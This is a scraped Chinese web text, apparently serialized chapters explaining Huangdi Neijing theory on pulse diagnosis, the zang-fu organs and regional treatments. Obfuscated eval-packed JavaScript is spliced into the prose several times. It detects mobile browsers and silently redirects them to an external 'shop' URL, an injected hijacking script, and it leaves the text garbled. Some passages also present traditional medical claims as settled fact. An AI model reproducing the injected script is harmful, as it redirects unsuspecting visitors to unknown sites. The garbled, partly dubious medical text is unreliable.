0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428636|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常流通，从而加重头晕眼花等症状。 足少阳胆经和足厥阴肝经在中医经络系统中扮演着重要的角色。足少阳胆经主决断，与人的精神状态、情绪调节等密切相关；足厥阴肝经主疏泄，与气血的调节、情志的调畅等有着密切的关系。当这两条经络出现功能失调时，就可能导致头晕眼花、身体动摇、耳聋等症状的出现。 针对这种病理状态，中医通常会采用补肾益精、疏肝解郁、活血化瘀等方法进行治疗。通过补益肾气，可以强化下焦的功能，从而改善“下虚”的状态；通过疏肝解郁、活血化瘀等方法，可以调和上焦的气血，从而缓解“上实”的症状。同时，中医也会通过针灸、推拿等手法刺激这两条经络的穴位，以调节其功能，从而改善病情。 需要注意的是，以上内容仅供参考，具体的诊断和治疗应根据患者的具体病情和中医医师的专业判断。 当病情严重，出现腹部胀满、胸膈阻塞、胁肋疼痛、下肢厥冷以及上体眩晕等症状，且这些症状在中医理论中被归为“下气上逆”，同时与足太阴脾经和足阳明胃经有关时，我们需要从中医的角度来深入探讨这一病理现象。 首先，“下气上逆”指的是气机运行失常，本应向下运行的气机反而向上逆行。在中医理论中，气是推动人体生命活动的基本物质，气机运行不畅或逆乱，会导致各种疾病的发生。当气机下陷，本应上升的气机却下行，导致下部（如腹部、下肢）的气血不足，出现胀满、厥冷等症状；同时，由于气机上升受阻，上部（如胸膈、胁肋、上体）的气血壅滞，出现阻塞、疼痛、眩晕等症状。 这章没有结束，请点击下一页继续阅读！ 第8章 （12）脉诊面诊：双管齐下，解锁临床诊断新视角 脉象的“小大”以及“华色浮沉”等，是中医脉诊中的重要观察指标，这些细微的变化都是医生通过长期实践积累，用手指在患者手腕处的桡动脉处进行感知和判断的。 在中医理论中，脉象被视为人体内气血运行状态的直接反映。脉象的“小大”通常指的是脉搏的强弱和幅度大小。脉象强而有力，通常表示体内气血充足，身体健康；脉象弱而无力，则可能意味着气血不足或存在其他健康问题。 而“华色浮沉”则更多地描述了脉象的色泽和浮沉变化。脉象的色泽通常与气血的充盈程度以及脏腑的功能状态有关，如红色脉象可能表示热证，青色脉象可能表示寒证等。而脉象的浮沉变化则反映了气血在体内的运行状态，浮脉通常表示气血浮于体表，可能是外感邪气或体内正气不足；沉脉则可能表示气血运行不畅或脏腑功能失调。 医生在进行脉诊时，需要通过手指的感知来辨别这些细微的变化，并结合患者的病史、症状等其他信息进行综合判断，从而得出准确的诊断。因此，脉诊是中医诊断中非常重要的一环，需要医生具备丰富的实践经验和深厚的中医理论知识。 对于新学习脉象的朋友们，我们需要多人的实践来进行学习，来让自己进步，脉象都是一点一点实践出来的，摸多了就能感觉到书中所说的各种脉象的存在。 关于五脏功能显露在外，确实可以通过相类事物的比相来推求，这是中医理论中的“象思维”的一种体现。在中医理论中，人体的五脏（心、肝、脾、肺、肾）不仅各自有其特定的生理功能，而且它们的功能状态也会通过人体的各种外在表现来显露。 比如说，心主血脉，它的功能状态可以通过面色、舌象等反映出来。当心血充足、功能正常时，人的面色会红润有光泽，舌色也会红润；反之，如果心血不足或功能失调，面色就会变得苍白无华，舌色也会暗淡。 同样地，肝主疏泄，它的功能状态可以通过情绪、气机等方面来观察。当肝气疏泄正常时，人的情绪会稳定愉悦，气机也会顺畅；而如果肝气郁结或疏泄过度，就会出现情绪波动大、气机不畅等症状。 其他脏腑也是如此，比如脾主运化、肺主呼吸、肾主藏精等，它们的功能状态都会通过相应的外在表现来显露。中医医生通过观察和推求这些外在表现，就可以对五脏的功能状态做出初步的判断，从而指导临床诊断和治疗。 当然，这种比相推求的方法并不是绝对的，因为人体的生理和病理变化是复杂多样的，需要综合考虑多种因素才能做出准确的判断。但是，通过相类事物的比相来推求五脏功能状态，确实是中医理论中的一种重要方法，具有一定的科学性和实用性。 五脏，即中医理论中的心、肝、脾、肺、肾，它们各自的功能与特性在中医的脏腑经络理论中有着详细的描述。至于五脏各自相应和的声音，这并非指实际可以听到的声音，而是指五脏功能正常时，人体内部所呈现的一种和谐状态，或者说是一种“内音”。 在中医理论中，五脏与五音（宫、商、角、徵、羽）相对应，这五音不仅仅指音乐上的音调，更是对人体五脏功能状态的一种象征。例如，宫音象征脾土，主消化、吸收；商音象征肺金，主呼吸、宣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428637|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 降；角音象征肝木，主疏泄、藏血；徵音象征心火，主血脉、神明；羽音象征肾水，主藏精、纳气。 当五脏功能正常，相互协调时，人体内部就会呈现出一种和谐的状态，这种和谐状态可以通过中医的望、闻、问、切四诊法来感知和鉴别。虽然这种和谐状态并不是直接以声音的形式呈现，但我们可以从人体的气色、脉象、舌苔等方面来感知和判断五脏的和谐程度。 因此，说五脏各自相应和的声音可以凭意会鉴别，其实是指通过中医的诊断方法，结合中医理论，来感知和判断五脏功能的和谐状态。这种和谐状态对于人体的健康和疾病的预防具有重要意义。 关于五色的细微变化，确实，眼睛作为我们获取外界视觉信息的主要器官，具有非常敏锐的感知能力。在中医理论中，五色（青、赤、黄、白、黑）不仅代表着不同的颜色，更与人体脏腑、气血的健康状态密切相关。 我们需要明白的是，眼睛观察五色的细微变化并不是简单地看到某种颜色就下定论，而是需要结合中医的望诊理论，观察颜色的深浅、明暗、润燥等细微变化，以及这些变化在人体不同部位（如面部、舌苔等）的表现。 例如，面部的颜色变化可以反映人体气血的盛衰和脏腑功能的强弱。面色红润通常表示气血充足，身体健康；而面色苍白则可能表示气血不足或阳气虚弱。同样，舌苔的颜色也可以反映人体消化系统的健康状况。舌苔白腻可能表示体内湿气过重，而舌苔黄厚则可能表示体内有热邪。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第9章 五脏别论 在探讨人体的五脏六腑和奇恒之腑的分别及区别时，我们首先需要明确这些概念在中医理论中的定义及其作用。 首先，五脏，即心、肝、脾、肺、肾，它们在中医理论中被视为人体内藏精气的器官。五脏的主要功能是化生和贮藏精气，正如《黄帝内经》中所言，“五脏者，藏精气而不泻，故满而不能实”。这意味着五脏主要储存人体的精气，是满而不实的。这些精气是人体生命活动的重要基础，包括气血、阴阳、精神等。 接着是六腑，即胆、小肠、大肠、胃、膀胱、三焦。六腑的主要功能是受盛和传化水谷，也就是负责食物的消化、吸收、排泄等过程。如《黄帝内经》所述，“六腑者，传化物而不藏，故实而不能满也”。这表示六腑主要负责处理饮食水谷，是实而不满的。 而奇恒之腑，包括脑、髓、骨、脉、胆（在五脏六腑分类中，胆既属于六腑也属于奇恒之腑）、女子胞（子宫、卵巢）等。这些器官在功能上与五脏相似，都具有藏蓄阴精的特点，但又不完全等同于五脏。它们是一类相对密闭的组织器官，不与水谷直接接触，似脏非脏，似腑非腑。 从形态上来看，五脏多为实体器官，而六腑多为管腔器官，奇恒之腑则多属中空，与六腑相似。从功能上来看，五脏化生和贮藏精气，六腑受盛和传导水谷，奇恒之腑则藏精气与五脏相似。从运动特点来看，五脏藏而不泻，满而不实；六腑泻而不藏，实而不满；奇恒之腑则既藏又泻，似脏非脏，似腑非腑。 综上所述，五脏、六腑和奇恒之腑在中医理论中各有其独特的定义和功能，它们共同构成了人体内部复杂的生命活动系统。通过了解和掌握这些器官的功能和特性，我们可以更好地理解和调节人体的健康状态。 在中医理论中，人体内的脏腑被分为五脏六腑以及六个奇恒之腑，它们各自承载着不同的功能和特点。由于这些奇恒之腑在功能上与五脏六腑有所不同，因此本篇被称为“五脏别论”。 首先，让我们了解一下这六个奇恒之腑是什么。它们分别是脑、髓、骨、脉、胆（在五脏六腑分类中，胆既属于六腑也属于奇恒之腑）、女子胞（子宫、卵巢）。这些器官在中医理论中，被视为人体生命活动的重要组成部分，具有其独特的生理功能和病理变化。 奇恒之腑与五脏六腑在功能上有所区别。五脏六腑主要负责人体的基本生理功能，如化生和贮藏精气、受盛和传导水谷等。而奇恒之腑则更多地与人体的高级神经活动、造血功能、生殖功能等相关。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428638|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 例如，脑作为奇恒之腑之一，是人体最重要的神经器官，控制着人体的思维、意识、记忆、情感等高级神经活动。髓则与造血功能密切相关，是制造红细胞、白细胞和血小板的重要场所。骨则不仅作为人体的支架，还参与造血过程，储存着骨髓。脉则负责输送气血，保证人体各部位得到充足的营养和氧气。胆在中医理论中，被视为六腑之一，但在奇恒之腑的分类中，它也具有藏精气的功能。女子胞则是女性特有的生殖器官，与女性的月经、怀孕、生产等生理过程密切相关。 在病理变化上，奇恒之腑的疾病往往与五脏六腑的疾病相互关联。例如，脑部疾病可能会影响人体的思维、意识等高级神经活动；骨髓疾病可能会影响人体的造血功能；妇科疾病则可能与女性的生殖器官有关。 因此，了解奇恒之腑的功能和特点，对于理解和治疗相关疾病具有重要意义。在中医理论中，通过调和五脏六腑和奇恒之腑的功能，可以达到治疗疾病、保持人体健康的目的。 “五脏别论”这一篇目强调了奇恒之腑与五脏六腑在功能和特点上的区别，以及它们在人体生命活动中的重要作用。通过深入了解这些脏腑的功能和病理变化，我们可以更好地理解和治疗相关疾病，保持人体健康。 第9章 （1）五脏六腑全解析：功能、特点与区别一网打尽 首先我们先来说一下奇恒之腹首先我们先来说一下奇恒之腑，看看奇恒之腑都起到的作用。 “脑髓骨脉胆女子胞”这六者，它们在中医理论中确实被认为是“奇恒之腑”。这六者并非传统意义上的脏腑，但它们各自具有独特的生理功能和特性，与地气相应，能够贮藏精血，起到藏而不泄的作用。 让我们来逐一了解一下这六者： 1. 脑：中医理论中，脑被视为“元神之府”，主司人的精神意识和思维活动。脑髓充盈则思维敏捷，记忆力强；脑髓不足则容易出现思维迟缓、记忆力下降等症状。 2. 髓：髓是构成骨骼和脊髓的主要物质，具有滋养骨骼、充养脑髓的作用。髓的充盈与否直接关系到骨骼的生长发育和脑的功能状态。 3. 骨：骨是构成人体支架的主要部分，具有支撑和保护内脏器官的作用。骨骼的强健与否直接关系到人体的运动能力和健康状态。 4. 脉：脉是血液运行的通道，包括经脉和络脉。经脉是主干，络脉是分支，它们共同构成了人体的血液循环系统。脉的通畅与否直接关系到人体的气血运行和健康状况。 5. 胆：胆是六腑之一，具有贮存和排泄胆汁的作用。胆汁的排泄有助于食物的消化和吸收。胆的功能正常与否直接关系到人体的消化功能。 6. 女子胞（子宫）：女子胞是女性的特有器官，具有孕育胎儿和排出月经的作用。女子胞的健康与否直接关系到女性的生育能力和生殖健康。 这六者之所以被称为“奇恒之腑”，是因为它们虽然不直接参与食物的消化和排泄过程，但各自具有独特的生理功能和特性，与地气相应，能够贮藏精血，起到藏而不泄的作用。这种特性使得它们在中医理论中具有重要的地位和作用。 在中医理论中，认为人体与自然环境息息相关，天地之间的精气是人体生命的源泉。而“脑髓骨脉胆女子胞”这六者则是人体贮藏精气的重要场所，它们通过贮藏精血来滋养人体各脏腑器官，维持人体的正常生理功能。因此，保持这六者的健康状态对于人体的健康至关重要。 在中医理论中，胃、大肠、小肠、三焦、膀胱这五者，确实被视为“传化之腑”，它们的功能主要是传化水谷和排泄糟粕，与五脏（心、肝、脾、肺、肾）的功能相辅相成。 首先，我们来看看这五者的主要功能。胃主受纳和腐熟水谷，小肠主受盛化物和泌别清浊，大肠主传化糟粕，三焦主通行诸气和运行水液，膀胱则主储存和排泄尿液。这些器官共同协作，完成了人体对水谷的消化吸收和代谢废物的排泄过程。 关于它们“秉承天气而生”的说法，实际上是指这些器官的功能与天地的自然规律相契合。在中医理论中，天气被视为主阳之气，具有运动不息、变化无穷的特性。而胃、大肠、小肠、三焦、膀胱这五者，在功能上同样具有运行周转、变化不息的特点，它们不断地将食物转化为营养物质，同时将代谢废物排出体外，维持了人体内部的平衡和稳定。 由于这五者主要承担的是排泄和传化的功能，所以它们“泻而不藏”，即不断地将体内的浊气排出体外，而不是像五脏那样贮藏精气。这种特性也使得它们被称为“传化之腑”，即主要承担传化水谷和排泄糟粕的任务。 总之，胃、大肠、小肠、三焦、膀胱这五者在中医理论中扮演着重要的角色，它们通过传化水谷和排泄糟粕来维持人体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428639|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内部的平衡和稳定，与五脏的功能相辅相成，共同构成了人体复杂而精密的生命系统。 为什么六府被称为传化之府呢？ 我们来理解一下“浊气”的概念。在中医中，“浊气”通常指的是人体内的代谢废物和有害物质，它们需要通过特定的途径排出体外，以保持人体的健康状态。如果这些“浊气”在体内滞留过久，就可能对人体造成损害，引发各种疾病。 接下来，我们来看看这些“浊气”是如何被传输和排泄的。在中医理论中，胃、大肠、小肠等脏腑器官承担着消化、吸收和排泄的功能。它们通过一系列的生理过程，将食物转化为营养物质供人体吸收，同时将代谢废物和有害物质排出体外。这个过程中，肛门作为排泄系统的最后一道关口，发挥着至关重要的作用。通过肛门的排泄作用，人体内的“浊气”得以及时排出体外，避免了在体内滞留过久。 此外，中医还认为五脏（心、肝、脾、肺、肾）与六腑（胃、大肠、小肠、三焦、膀胱、胆）之间存在着密切的联系和相互作用。五脏通过气血的运行和调节，影响着六腑的功能；而六腑则通过传化水谷和排泄糟粕，为五脏提供了必要的支持和保障。因此，当肛门为五脏行使疏泄浊气的功能时，实际上也是五脏与六腑相互协作、共同维护人体健康的一个体现。 总之，中医理论认为人体内的“浊气”必须及时传输和排泄，以保持人体的健康状态。在这个过程中，肛门作为排泄系统的最后一道关口发挥着重要作用。同时五脏与六腑之间的相互作用也为“浊气”的及时排泄提供了必要的支持和保障。 小主，这个章节后面还有哦，请点击下一页继续阅读，后 面更精彩！ 第9章 （2）揭秘诊脉独取寸口脉象：中医智慧的现代解读 诊察气口之脉为何能知道五脏六腑及12经脉之气，这其实是中医脉诊学的核心和精髓所在。 首我们得理解中医的脉诊原理。中医认为，人体的五脏六腑与四肢百骸通过经络系统紧密相连，形成了一个完整的生命网络。而气血则是这个网络中最重要的流动物质，它承载着生命活动的能量和信息。气口，即手腕部的桡动脉搏动处，是气血流通的重要通道之一，是中医脉诊的主要部位。也就是中医给我们诊脉要按的地方。 在诊察气口之脉时，医生通过手指的触感，能够感知到脉象的强弱、快慢、浮沉、迟数等多种信息。这些信息实际上反映了五脏六腑及12经脉气血的盛衰、虚实、寒热等状态。例如，心脏的气血状况可以通过脉搏的强弱和节律来体现；肝脏的气血状况则可以通过脉搏的弦细和沉涩来感知。 这段关于脉的强弱快慢沉浮迟弱等多种信息，我们以后可能在伤寒论中会给大家一一分析讲解， 希望大家长期关注。 为什么气口之脉能够反映五脏六腑及12经脉之气呢？这主要是因为经络系统的特殊性质。经络系统不仅是气血流通的通道，更是信息传递的媒介。当五脏六腑或12经脉出现病变时，这种病变信息会通过经络系统传递到气口部位，进而在脉象上体现出来。因此，通过诊察气口之脉，医生可以间接地了解到五脏六腑及12经脉的气血状况。 当然，中医脉诊学是一门博大精深的学问，需要长期的学习和实践才能掌握。而且，由于每个人的体质、病情等因素不同，脉象也会有所差异。因此，在实际应用中，医生还需要结合患者的具体情况进行综合分析，才能做出准确的诊断。 总之，诊察气口之脉能够知道五脏六腑及12经脉之气，是中医脉诊学的独特之处和精髓所在。它体现了中医对人体生命活动的深刻理解和独特见解，也为中医诊断和治疗疾病提供了重要的依据。 “胃是水谷之海，为六府的泉源”这一说法，它实际上是中医理论中对于胃的重要性的高度概括。在中医看来，胃作为我们消化系统的核心，承载着消化食物、吸收营养的重要职责。 首先，我们来谈谈“胃是水谷之海”。这里的“水谷”指的是我们日常摄入的食物和饮料，而“海”则形象地描绘了胃作为存储和消化这些食物的容器。当我们进食后，食物首先进入胃中，经过胃的初步消化和分解，变成可以被身体吸收的营养物质。 接下来，我们再说说“为六府的泉源”。在中医理论中，“六腑”指的是胃、大肠、小肠、膀胱、胆和三焦，它们共同构成了我们的消化系统。而胃作为这个系统的起始点，其健康与否直接影响到后续脏腑的功能。因此，我们可以将胃看作是这些脏腑的“泉源”，只有保证了胃的健康，才能确保整个消化系统的正常运转。 至于“饮食五味入口留在胃中，经过足太阴脾经运化输传，能充养五脏之气”，这句话进一步阐述了胃与脾经、五脏之间的紧密联系。在中医看来，食物中的五味（酸、苦、甘、辛、咸）各有其特定的作用，能够滋养我们的五脏。而这些五味在进入胃中后，需要经过脾经的运化输传，才能将营养物质输送到全身各处，以充养五脏之气。 中医理论中对于胃的描述，不仅强调了其作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428640|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为消化系统核心的重要性，还揭示了它与脾经、五脏之间的紧密联系。因此，在日常生活中，我们应该注重饮食调养，保护好我们的胃，以确保整个消化系统的健康运转。 气口作为手太阴肺经所过之处，确实在中医理论中占据着极其重要的地位。气口，也就是我们通常所说的寸口脉，位于手腕部，是中医脉诊的重要部位。这一部位之所以重要，是因为它不仅是手太阴肺经的必经之路，更是因为它反映了人体五脏六腑的气血状况。 在中医理论中，太阴经脉主朝百脉，意味着它是气血流通的枢纽，能够汇聚和分配全身的气血。而气口作为太阴经脉的关键部位，其脉象的变化能够直接反映出五脏六腑的气血盛衰和健康状况。 具体来说，五脏六腑的水谷精微，即饮食经过消化吸收后产生的营养物质，都是出自胃，然后通过经络系统输送到全身各处，以滋养和维持人体的生命活动。在这个过程中，气口作为气血流通的“窗口”，能够反映出五脏六腑对于水谷精微的吸收和利用情况。 因此，通过观察气口的脉象，医生可以间接了解到五脏六腑的功能状态和气血状况，从而进行疾病的诊断和治疗。这种通过脉象来反映人体内部脏腑气血状况的方法，是中医脉诊学的重要特点之一，也是中医独特的诊断方式之一。气口作为手太阴肺经所过之处，其脉象的变化能够反映出五脏六腑的气血状况，是中医脉诊学中的重要内容。通过观察气口的脉象，医生可以了解到人体的健康状况，为疾病的诊断和治疗提供重要的依据。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第9章 （3）不迷信鬼神，不逃避疾病：科学态度塑造健康人生 对于那些坚守鬼神迷信观念的人，确实在与他们交流至深的医学理论时可能会遇到一些挑战。但我认为，这并不意味着我们就不能与他们谈论医学理论。 医学理论是建立在科学实证和逻辑推理的基础上的，它关注的是人体的生理、病理和治疗方法，而非超自然现象。因此，从本质上讲，医学理论与鬼神迷信观念并无直接联系。 在与这类人交流时，我们可以尝试从他们可能感兴趣的健康问题入手，引导他们关注医学在解决实际问题方面的作用。例如，我们可以谈论一些常见的疾病和治疗方法，或者分享一些医学研究的最新成果。通过这种方式，我们可以逐步引导他们认识到医学的价值，并尝试改变他们对医学理论的看法。 当然，对于那些坚信鬼神迷信观念的人来说，他们可能会对我们的观点持怀疑态度。但只要我们以尊重和理解的态度与他们交流，并尝试用事实和数据来支持我们的观点，就有可能逐渐改变他们的看法。 我想强调的是，虽然鬼神迷信观念与医学理论没有直接联系，但我们应该尊重每个人的信仰和观点。 对于那些讨厌针石治疗的人，首先我们需要理解，每个人都有其独特的观点和体验，这是完全尊重和理解的。针石治疗，作为中医的一种传统疗法，确实有其独特的医疗价值和适用范围，但同样，也并非所有人都能接受或认可这种疗法。 在这种情况下，强行向他们灌输医疗技巧或理论，可能不仅无法达到预期的效果，反而会加深他们的反感。毕竟，医疗决策和选择应该是基于个人的健康状况、信任感和医生的专业建议，而非简单的灌输或说服。 对于这部分人群，我们更应该采取一种开放、包容的态度，尊重他们的选择，同时也为他们提供多样化的医疗选项和咨询渠道。通过专业的医疗咨询和科普教育，帮助他们了解不同疗法的优缺点和适用范围，让他们能够根据自己的实际情况和需求做出明智的决策。 对于那些有病人忌讳治疗的情况，确实是一个复杂且棘手的问题。在医学领域，治疗的效果往往与病人的配合度紧密相关。如果一个病人对某种治疗方法持有强烈的抵触情绪或忌讳心理，那么即使治疗方法本身再先进、再有效，也可能难以达到预期的疗效。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428641|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 首先，我们需要理解病人的忌讳心理可能源于多种原因，如恐惧、误解、信仰或文化因素等。在这种情况下，医生需要耐心倾听病人的顾虑和担忧，与他们进行深入的沟通和交流，帮助他们理解治疗的必要性和重要性，以及治疗可能带来的益处和风险。 同时，医生也需要尊重病人的选择权，如果他们确实无法接受某种治疗方法，那么可以尝试寻找其他替代方案或治疗方案。例如，可以采用非药物治疗方法、心理干预、健康教育等多种手段来帮助病人改善病情。 此外，我们还需要认识到，病人的心理状态对治疗效果也有重要影响。如果病人能够保持积极的心态和信心，那么他们的身体也会更容易接受治疗和恢复。因此，医生在治疗过程中需要关注病人的心理状态，给予他们足够的关心和支持，帮助他们建立战胜疾病的信心和勇气。 总之，对于有病人忌讳治疗的情况，我们需要以尊重、理解、沟通为基础，寻找最适合病人的治疗方案，帮助他们战胜疾病。同时，我们也需要认识到，治疗不仅仅是医生的事情，也需要病人的积极配合和参与。 第10章 异法方宜论 异法方宜论，实际上正是中医“辨证论治”和“因时因地因人制宜”治疗原则的生动体现。这一原则强调了在治疗过程中，必须充分考虑到患者所处的自然环境、生活条件以及个人的体质差异，因为这些都可能直接影响到疾病的表现和治疗方法的选择。 自然环境和生活条件对人体有着深远的影响。不同的地域、气候、饮食等因素，都会使得人体在生理和病理上产生差异。例如，生活在潮湿环境中的人，更容易受到湿邪的侵袭，从而引发湿病；而生活在干燥环境中的人，则可能更容易受到燥邪的侵扰。 个人的体质差异也是不可忽视的因素。体质的强弱、阴阳的偏颇、气血的盛衰等，都会直接影响到疾病的发展和转归。因此，在治疗过程中，必须根据患者的体质差异，选择适合的治疗方法。 基于上述考虑，中医在治疗时强调“先了解病情，因地因人制宜，采用不同的治疗方法”。这要求医生在接诊时，必须全面了解患者的病情，包括病史、症状、体征等，同时还要考虑到患者所处的自然环境和生活条件，以及个人的体质差异。只有这样，才能制定出符合患者实际情况的治疗方案，达到最佳的治疗效果。 这一治疗原则不仅体现了中医“以人为本”的治疗理念，也强调了治疗过程中的个体化、精准化。在当今医学领域，这一原则仍然具有重要的指导意义。 中医的“辨证论治”和“因时因地因人制宜”的治疗原则，不仅体现了中医的深厚底蕴和独特魅力，也为我们提供了宝贵的启示。 在现代医学中，随着医学技术的不断进步和研究的深入，我们越来越认识到个体差异对疾病治疗和预防的重要性。因此，个体化医疗和精准医疗成为了现代医学发展的重要方向。这与中医的“因人制宜”的治疗原则不谋而合。 在个体化医疗中，医生会根据患者的基因、环境、生活方式等多种因素，制定个性化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428642|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的治疗方案。这种治疗方式能够更好地满足患者的需求，提高治疗效果，减少不必要的副作用。而精准医疗则更进一步，它利用先进的基因测序、分子诊断等技术，对疾病进行更深入的探究，为治疗提供更加精准的依据。 然而，尽管现代医学在个体化医疗和精准医疗方面取得了显着进展，但中医的“因时因地因人制宜”的治疗原则仍然具有重要的参考价值。这是因为中医在长期的实践中，积累了丰富的经验和智慧，对于疾病的认识和治疗有着独特的见解和方法。因此，在现代医学的发展中，我们应该充分借鉴中医的优势，将其与现代医学相结合，共同推动医学事业的进步。 总之，中医的“辨证论治”和“因时因地因人制宜”的治疗原则，不仅体现了中医的深厚底蕴和独特魅力，也为我们提供了宝贵的启示。在现代医学的发展中，我们应该充分借鉴中医的优势，将其与现代医学相结合，共同为人类的健康事业做出贡献。 第10章 （1）如何借助地域气候特色，巧妙治愈各种疾病？ 今天我们说一个有趣的事，同样的病，用不同的方法，看看中医的博大精深和中医的智慧。关于医生在治疗同一种疾病时，为何会因地理环境不同而采取不同的治疗方法，并都能使患者痊愈，这其中确实蕴含着一些医学上的智慧和地域适应性的考量。 地理环境的不同可能意味着患者所处的气候、生活习惯、饮食习惯等都有所差异，这些因素都会影响疾病的发展和表现。因此，医生会根据患者所处的地理环境，结合其病情特点，选择更适合当地条件的治疗方法。 不同地区的文化背景和医疗习惯也可能影响治疗方法的选择。有些地区可能更注重自然疗法或传统医学，而有些地区则更依赖现代医学技术。医生在选择治疗方法时，也会考虑到当地的文化背景和患者的接受程度。 东方地区气候温和，海滨资源丰富，这使得鱼类和盐成为当地重要的特色产品。当地居民因地理位置和气候优势，形成了以鱼盐为美食的饮食习惯。 然而，正如问题中所提到的，中医理论中认为鱼性属火，而咸能走血。这意味着过量食用鱼类和盐类食品，可能会对人体健康造成一定影响。具体来说，经常食用鱼类可能会导致人体内积热过多，出现上火的症状，如口干、口苦、大便干燥等。而过量摄入盐分则可能导致血压升高、心血管疾病等健康问题。 但值得注意的是，这些观点并非绝对。每个人的体质和饮食习惯都不同，因此并非所有人都会出现这些问题。 东方地区人们皮肤黝黑、肌理松疏以及容易患痈疡之类的疾病，这确实与当地的气候、环境以及生活习惯有着密切的关系。 该地区的人容易患痈疡之类的疾病，这可能与当地的湿热气候有关。湿热气候容易导致人体内湿气过重，从而引发各种皮肤疾病。此外，如果当地居民在饮食习惯上偏好辛辣、油腻等刺激性食物，也可能加重湿热症状，增加患痈疡等疾病的风险。 对于痈疡疾病，使用砭石法疗法，这种方法在东方医学中有着悠久的历史和深厚的文化底蕴。据史书记载，砭石刺法起源于远古时期，人们发现用尖锐的石头刺激身体的某些部位，可以缓解疼痛或治疗某些疾病。砭石刺法在东方医学中占据了重要的地位，并且被广泛应用于各种疾病的治疗中。 西方地区多山和矿野，盛产金玉，且自然环境带有秋令之气的收敛肃杀特点，这确实是一个既富有地理特色又蕴含文化意味的描述。 从地理学的角度来看，西方地区多山和矿野是地质活动长期作用的结果。这些地区可能位于板块交界处，地壳运动频繁，从而形成了丰富的矿产资源，包括金玉等贵金属和宝石。这种地质环境使得西方地区的自然景观独特，同时也为当地居民提供了丰富的物质资源。 自然环境带有秋令之气的收敛肃杀特点，这可能与西方地区的气候和季节变化有关。秋令之气通常指的是秋季时自然界中阳气逐渐收敛、阴气逐渐增长的气候特点。在西方地区，这种气候特点可能表现得更为明显，尤其是在秋季时节。当秋季到来时，天气逐渐转凉，植物开始凋零，这种景象给人一种收敛、肃杀的感觉。 该地区的人们依山岭而住，七地多风，水土性质又比较刚强，而他们在生活和着装方面不大考究。披毛巾，睡草席，但饮食都是鲜美酥烙，骨肉之类，因此他们体态肥壮，外邪不容易侵犯他们的形体，他们发病大多发 